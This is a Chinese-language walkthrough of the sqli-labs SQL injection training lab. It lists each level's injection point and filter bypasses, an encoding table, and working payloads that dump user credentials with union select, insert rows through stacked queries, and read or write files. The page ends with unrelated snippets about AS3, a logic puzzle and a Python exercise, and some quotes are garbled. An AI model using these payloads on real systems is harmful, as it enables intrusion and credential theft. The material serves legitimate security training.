或者更加全面的
注入天書pdf
前四關登入成功顯示使用者名稱,失敗報錯正常
第1關id=『1』
第2關id=1
第3關id=(『1』)
第4關id=(「1」)
第5關和6關登入顯示you are in…,失敗報錯正常
第5關id=『1』
第6關id=「1」
第7-10關盲注
第7關id=((『1』))
第8關id=『1』
第9關id=『1』
第10關id=「1」
第11關和12關登入成功顯示使用者名稱密碼,失敗報錯正常
第11關username=『admin』
第12關username=(『admin』)
第13關和14關登入成功不顯示,失敗報錯正常
第13關username=(『admin』)
第14關username=「admin」
第15關16關盲注
第15關username=『admin』
第16關username=(『admin』)
輸入字元長度超過15的部分截斷
字串中\x00,\n,\r,\,',",\x1a被轉義
純數字的話被強制轉換成整形
第17關username被過濾password=『1』
第18,19,20,21關username和password都被過濾了
第18關,在http頭useragent處注入,前提是成功登入
第19關,在http頭referer處注入,前提是登入成功
第20關,uname='cookie』注入
第21關,uname=(『cookie』)加密注入
第22關,uname="cookie"加密注入
-- 和 # 這兩個注釋符號
第23關id=『admin』用閉合注入』 or 『』=』
\,",'
第24關二次注入
and 和 or
第25關id=『1』
第25a關登入失敗不報錯
第25a關id=1
and,or,--,#,空格、製表符、換頁符,/*,//
第26關id=『1』
第26a關id=(『1』)
--,/*,空格,#,大小寫沒過濾完全完全的select,union
第27關id=『1』
第27a關沒有報錯
第27a關id=「1」
--,/*,/,空格,#,大小寫完全過濾的union+\s+select
第28關id=(『1』)
第28a關id=(『1』) 只過濾union+\s+select組合
?id=被waf過濾的部分&id=payload
第29關id=『1』
第30關id=「1」
第31關id=(「1」)
',「,\
思路:寬位元組注入
思路:堆疊注入(使用mysqli_multi_query導致的)
mysql基礎命令
create table test select * from users;
drop table test;
select load_file('/users/xjj/desktop/eval');
insert into users(id,username,password) values('100','new','new');
update test set name='test' where id=3;
第38關id=『1』
第39關id=1
第40關id=(『1』)
第41關id=1
第42-45關:
login_user過濾 " / '
login_password='1'
第43關login_password=(『1』)
第44關login_password=『1』
第45關login_password=(『1』)
思路:
order by和limit的注入
order by rand(true)隨機排序
order by rand(false)與true不同
rand(),時間盲注,procedure analyse注入
into outfile "/users/xjj/desktop/new"
第46關order by $id
第47關order by 『$id』
第48/49關盲注
第48關order by $id
第49關order by 『$id』
第50/51關在46關基礎上增加堆疊注入
第50關order by $id
第51關order by 『$id』
第52/53關盲注
第52關order by $id
第53關order by 『$id』
第54-57關和第1-4關一樣但是講究效率
第54關id=『1』
第55關id=(1)
第56關id=(『1』)
第57關id=「1」
union注入沒有回顯
第58關id=『1』
第59關id=1
第60關id=(「1」)
第61關id=((『1』))
盲注,用指令碼
! - %21
" - %22
# - %23
$ - %24
% - %25
& - %26
』 - %27
( - %28
) - %29
* - %2a
+ - %2b
, - %2c
- - %2d
. - %2e
/ - %2f
: - %3a
; - %3b
< - %3c
= - %3d
> - %3e
? - %3f
@ - %40
[ - %5b
\ - %5c
] - %5d
| - %7c
~ 0x7e
: 0x3a
%09 tab 鍵(水平)
%0a 新建一行
%0c 新的一頁
%0d return 功能
%0b tab 鍵(垂直)
%a0 空格
25
?id=』 union select 1,(select group_concat(username,passwoorrd separatoorr 0x3c62723e) from users),3 anandd 『1』=『1
26關暫時沒找到繞過\s正則的方法
27
?id=』%0bunion%0bselect%0b1,(select%0bgroup_concat(username,password%0bseparator%0b0x3c62723e)%0bfrom%0busers),3%0band%0b』1』=『1
28
?id=』)%0bunion%0bunion%0bselectselect%0b1,(select%0bgroup_concat(username,password%0bseparator%0b0x3c62723e)%0bfrom%0busers),3%0band%0b(『1
29
id=2&id=』 union select 1,(select group_concat(username,password separator 0x3c62723e) from users),3 and 『1』=『1
32
?id=-1%df%27%20union%20select%201,user(),2–+
34:burpsuite
uname=%df%27%0bunion%0bselect%0b1,(select%0bgroup_concat(username,password%0bseparator%0b0x3c62723e)%0bfrom%0busers)–+#&passwd=1&submit=submit
35
?id=-1%20union%20select%201,2,3;–+
36
?id=-1%df%27union%20select%201,2,3;±-+#
37:burpsuite
uname=%df』+union+select+1,2;±-+#&passwd=1&submit=submit
42burpsuite
login_user=admin&login_password=』+or+1=1;insert+into+users(username,password)+values(0x61,0x62);±-+#&mysubmit=login
AS3 技巧和提示
原文見 url color 444444 url 在 as3 中你可以通過 stage 類動態改變影片的幀速 所有的 displayobject 都有乙個 stage 屬性,通過他可以訪問當前 displayobject 所在例項的 stage.修改 stage 的 framerate 屬性就可以改...
經典邏輯筆試題和答案
1 有 1000瓶酒,其中只有一瓶有毒。現在用小白鼠進行實驗,小白鼠只要服用任意量有毒酒就會在24小時內死亡。問最少要用多少只小白鼠進行實驗 才能在24小時內檢測出哪瓶藥水有毒?這是乙個二進位制的問題,答案是用10只就可以。將1000瓶酒分別編號,用十隻小白鼠分別代表十位二進位制儲存,將編號為i的酒...
day4作業和答案
1.已知乙個數字列表,求列表中心元素。list1 10 206,3 89,23 9,12 count len list1 if count 1 print list1 count 2 else print list1 count 2 1 list1 count 2 2.已知乙個數字列表,求所有元素和...